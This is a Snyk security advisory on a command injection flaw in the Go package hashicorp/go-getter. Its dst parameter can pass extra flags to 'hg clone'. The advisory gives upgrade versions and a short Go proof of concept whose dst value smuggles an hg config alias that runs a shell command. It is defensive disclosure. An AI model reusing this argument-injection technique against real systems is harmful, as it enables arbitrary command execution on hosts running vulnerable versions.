Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.
Test your applicationsUpgrade github.com/hashicorp/go-getter
to version 1.6.1, 2.1.0 or higher.
github.com/hashicorp/go-getter is a Package for downloading things from a string URL using a variety of protocols.
Affected versions of this package are vulnerable to Command Injection via hg argument injection. When calling the new(gogetter.HgGetter).get()
function, the dst
parameter is passed to the hg clone
command in a way that additional flags can be set. The additional flags can be used to perform a command injection.
package main
import (
gogetter "github.com/hashicorp/go-getter"
"net/url"
)
func main(){
g := new(gogetter.HgGetter)
rawURL := "someurl"
u, _ := url.Parse(rawURL)
dst := "--config=alias.clone=!touch ./HELLO"
g.Get(dst, u)
}